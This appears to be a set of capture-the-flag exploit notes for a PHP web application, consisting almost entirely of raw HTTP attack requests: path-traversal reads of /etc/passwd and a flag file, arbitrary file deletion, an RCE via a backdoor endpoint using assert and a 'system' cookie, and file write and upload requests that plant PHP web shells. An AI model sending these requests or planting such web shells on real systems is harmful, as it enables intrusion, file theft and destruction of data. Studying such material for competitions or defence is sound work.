3_cliphp

by Hence Zhang@Lancet

xxe: ./app/wchat/controller/Wchat.php simplexml_load_string

downFile: 任意文件下载 http://127.0.0.1/admin/Database/downFile?file=../../../../../etc/passwd&type=sql

delSqlFiles: 任意文件删除 admin/Database/delSqlFiles?sqlfilename=../../1.php

有限制的文件读取 http://127.0.0.1/admin/Database/restoreData?sqlfilepre=../../../../../flag

RCE:

```
POST /admin/login/backdoor?hongkexueyuan=assert HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 41
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://47.105.121.116:9090
X-FORWARDED-FOR: 8.8.8.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.105.121.116:9090/admin/login/admin888sss.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: cmd=system('ls');
Connection: close

username=admin&password=admin
```

任意文件写入：

```
POST /admin/Template/insert HTTP/1.1
Host: 10.1.17.2
Content-Length: 60
Cache-Control: max-age=0
Origin: http://10.1.17.2
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://10.1.17.2/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: re_url=http%3A%2F%2F10.1.17.2%2Fadmin%2Fadmin%2F;
PHPSESSID=0nemca5akuqhtud2vtiu4ckmc3
Connection: close

file=../../haozi&type=php&content=<?php system($_GET['a']);>
```

```
POST /admin/Template/update HTTP/1.1
Host: 10.1.17.2
Content-Length: 58
Cache-Control: max-age=0
Origin: http://10.1.17.2
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://10.1.17.2/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: re_url=http%3A%2F%2F10.1.17.2%2Fadmin%2Fadmin%2F;
PHPSESSID=0nemca5akuqhtud2vtiu4ckmc3
Connection: close

file=../../../index.php&content=<?php system($_GET['a']);>
```

任意文件删除

```
POST /admin/Template/delete HTTP/1.1
Host: 10.1.17.2
Content-Length: 58
Cache-Control: max-age=0
Origin: http://10.1.17.2
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://10.1.17.2/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: re_url=http%3A%2F%2F10.1.17.2%2Fadmin%2Fadmin%2F;
PHPSESSID=0nemca5akuqhtud2vtiu4ckmc3
Connection: close

file=../../../index.php
```

任意文件上传：

```
POST /user/upFiles/upload HTTP/1.1
Host: 172.20.110.101
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.4
X-Requested-With: XMLHttpRequest
Content-Length: 197
Content-Type: multipart/form-data;
boundary=9f3a41c967054ff981ec5759a03ef412

--9f3a41c967054ff981ec5759a03ef412
Content-Disposition: form-data; name="file"; filename="shell.php"

<?php system($_GET[d5f432f768be42879f9bbe5339c41d88]);
--9f3a41c967054ff981ec5759a03ef412--
```

任意文件读取：

```
POST /admin/Template/edit HTTP/1.1
Host: 10.1.17.2
Content-Length: 78
Cache-Control: max-age=0
Origin: http://10.1.17.2
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://10.1.17.2/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: re_url=http%3A%2F%2F10.1.17.2%2Fadmin%2Fadmin%2F;
PHPSESSID=0nemca5akuqhtud2vtiu4ckmc3
Connection: close

file=../../../../../../../flag&type=images&content=<?php
system($_GET['a']);>
```